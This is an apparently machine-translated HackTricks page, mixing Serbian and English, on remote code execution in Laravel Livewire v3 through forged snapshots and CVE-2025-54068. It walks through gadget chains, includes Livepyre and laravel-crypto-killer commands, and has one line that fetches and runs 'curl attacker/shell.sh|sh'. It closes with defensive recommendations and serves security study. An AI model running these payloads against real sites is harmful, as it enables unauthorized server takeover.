Laravel Livewire Hydration & Synthesizer Abuse
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Rezime Livewire state machine
Komponente Livewire 3 razmenjuju svoje stanje kroz snapshote koji sadrže data, memo i checksum. Svaki POST na /livewire/update rehidrira JSON snapshot na serverskoj strani i izvršava redom čekane calls/updates.
class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}
static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}
Svako ko poseduje APP_KEY (koji se koristi za izvođenje $hashKey) može stoga da falsifikuje proizvoljne snapshots ponovnim izračunavanjem HMAC-a.
Složena svojstva su kodirana kao synthetic tuples koje detektuje Livewire\Drawer\BaseUtils::isSyntheticTuple(); svaki tuple je [value, {"s":"<key>", ...meta}]. Jezgro hidratacije jednostavno delegira svaki tuple synth-u izabranom u HandleComponents::$propertySynthesizers i rekurzivno prolazi kroz decu:
protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}
Ovaj rekurzivni dizajn čini Livewire generičkim engine-om za instanciranje objekata čim napadač preuzme kontrolu nad tuple metadata ili bilo kojim ugnježdenim tuple koji se obrađuju tokom rekurzije.
Synthesizers that grant gadget primitives
| Synthesizer | Attacker-controlled behaviour |
|---|---|
CollectionSynth (clctn) | Instantiates new $meta['class']($value) after rehydrating each child. Any class with an array constructor can be created, and each item may itself be a synthetic tuple. |
FormObjectSynth (form) | Calls new $meta['class']($component, $path), then assigns every public property from attacker-controlled children via $hydrateChild. Constructors that accept two loosely typed parameters (or default args) are enough to reach arbitrary public properties. |
ModelSynth (mdl) | When key is absent from meta it executes return new $class; allowing zero-argument instantiation of any class under attacker control. |
Pošto synths pozivaju $hydrateChild na svakom ugnježdenom elementu, proizvoljni gadget graph-ovi se mogu konstruisati složenjem tuples rekurzivno.
Forging snapshots when APP_KEY is known
- Capture a legitimate
/livewire/updaterequest and decodecomponents[0].snapshot. - Inject nested tuples that point to gadget classes and recompute
checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY). - Re-encode the snapshot, keep
_token/memountouched, and replay the request.
A minimal proof of execution uses Guzzle’s FnStream and Flysystem’s ShardedPrefixPublicUrlGenerator. One tuple instantiates FnStream with constructor data { "__toString": "phpinfo" }, the next instantiates ShardedPrefixPublicUrlGenerator with [FnStreamInstance] as $prefixes. When Flysystem casts each prefix to string, PHP invokes the attacker-provided __toString callable, calling any function without arguments.
From function calls to full RCE
Leveraging Livewire’s instantiation primitives, Synacktiv adapted phpggc’s Laravel/RCE4 chain so that hydration boots an object whose public Queueable state triggers deserialization:
- Queueable trait – any object using
Illuminate\Bus\Queueableexposes public$chainedand executesunserialize(array_shift($this->chained))indispatchNextJobInChain(). - BroadcastEvent wrapper –
Illuminate\Broadcasting\BroadcastEvent(ShouldQueue) is instantiated viaCollectionSynth/FormObjectSynthwith public$chainedpopulated. - phpggc Laravel/RCE4Adapted – the serialized blob stored in
$chained[0]buildsPendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed.Signed::__invoke()finally callscall_user_func_array($closure, $args)enablingsystem($cmd). - Stealth termination – by handing a second
FnStreamcallable such as[new Laravel\Prompts\Terminal(), 'exit'], the request ends withexit()instead of a noisy exception, keeping the HTTP response clean.
Automating snapshot forgery
synacktiv/laravel-crypto-killer now ships a livewire mode that stitches everything:
./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"
Alat parsira uhvaćeni snapshot, ubacuje gadget tuples, ponovo izračunava checksum i ispisuje payload spreman za slanje /livewire/update.
/## CVE-2025-54068 – RCE bez APP_KEY
Prema obaveštenju proizvođača, problem utiče na Livewire v3 (>= 3.0.0-beta.1 and < 3.6.3) i jedinstven je za v3.
updates se spajaju u component state nakon što je snapshot checksum validiran. Ako je svojstvo unutar snapshot-a (ili postane) synthetic tuple, Livewire ponovo koristi njegov meta dok hidrira attacker-controlled update value:
protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}
Recept za exploit:
- Pronađite Livewire komponentu sa untyped public property-jem (npr.,
public $count;). - Pošaljite update koji postavlja to svojstvo na
[]. Sledeći snapshot sada ga skladišti kao[[], {"s": "arr"}].
Minimalni tok mešanja tipova izgleda ovako:
POST /livewire/update
...
"updates": {"count": []}
Zatim sledeći snapshot skladišti tuple koji zadržava arr synthesizer metadata:
"count": [[], {"s": "arr"}]
- Konstruisite drugi
updatespayload gde to svojstvo sadrži duboko ugnježdeni niz koji ugrađuje tuple kao što su[ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ]. - Tokom rekurzije,
hydrate()evaluira svako ugnježdeno dete nezavisno, tako da su attacker-izabrani synth keys/classes poštovani iako spoljašnji tuple i checksum nikada nisu promenjeni. - Ponovo iskoristite iste
CollectionSynth/FormObjectSynthprimitivе za instanciranje Queueable gadget-a čiji$chained[0]sadrži phpggc payload. Livewire procesuira falsifikovane updates, pozivadispatchNextJobInChain(), i dostižesystem(<cmd>)bez poznavanjaAPP_KEY.
Ključni razlozi zašto ovo funkcioniše:
updatesnisu pokriveni snapshot checksum-om.getMetaForPath()veruje whichever synth metadata je već postojala za to svojstvo čak i ako je napadač prethodno naterao da postane tuple putem slabe tipizacije.- Rekurzija plus weak typing omogućavaju da svaki ugnježdeni niz bude interpretiran kao potpuno novi tuple, tako da proizvoljni synth keys i proizvoljne klase na kraju dopru do hidratacije.
Livepyre – end-to-end exploitation
Livepyre automatizuje oba workflow-a: APP_KEY-less CVE i signed-snapshot pristup:
- Fingerprint-uje deployovanu Livewire verziju parsiranjem
<script src="/livewire/livewire.js?id=HASH">i mapiranjem hasha na ranjive releas-e. - Prikuplja baseline snapshots ponovnim izvođenjem benignih akcija i ekstraktovanjem
components[].snapshot. - Generiše ili
updates-only payload (CVE-2025-54068) ili falsifikovani snapshot (poznat APP_KEY) koji ugrađuje phpggc chain. - Ako nijedan object-typed param nije pronađen u snapshot-u, Livepyre prelazi na brute-forcing kandidata parametara da bi došao do coercible svojstva.
Tipična upotreba:
# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id
# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"
-c/--check pokreće nedestruktivnu proveru, -F preskače version gating, -H i -P dodaju prilagođena zaglavlja ili proxy-je, a --function/--param prilagođavaju php funkciju koju poziva gadget chain.
Odbrambene preporuke
- Ažurirajte na ispravljene Livewire build-ove (>= 3.6.4 prema obaveštenju dobavljača) i primenite zakrpu dobavljača za CVE-2025-54068.
- Izbegavajte slabo tipizovana javna svojstva u Livewire komponentama; eksplicitni scalar tipovi sprečavaju da se vrednosti svojstava koerceju u arrays/tuples.
- Registrujte samo one synthesizers koje vam zaista trebaju i tretirajte korisnički kontrolisane metapodatke (
$meta['class']) kao nepouzdane. - Odbacujte izmene koje menjaju JSON tip svojstva (npr. scalar -> array) osim ako nije eksplicitno dozvoljeno, i ponovo izvedite synth metadata umesto ponovnog korišćenja zastarelih tuples.
- Promenite
APP_KEYodmah nakon bilo kakvog otkrivanja jer on omogućava offline snapshot forging bez obzira koliko je code-base zakrpljen.
References
- Synacktiv – Livewire: Remote Command Execution via Unmarshaling
- synacktiv/laravel-crypto-killer
- synacktiv/Livepyre
- GHSA-29cq-5w36-x7w3 – Livewire v3 RCE advisory
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.


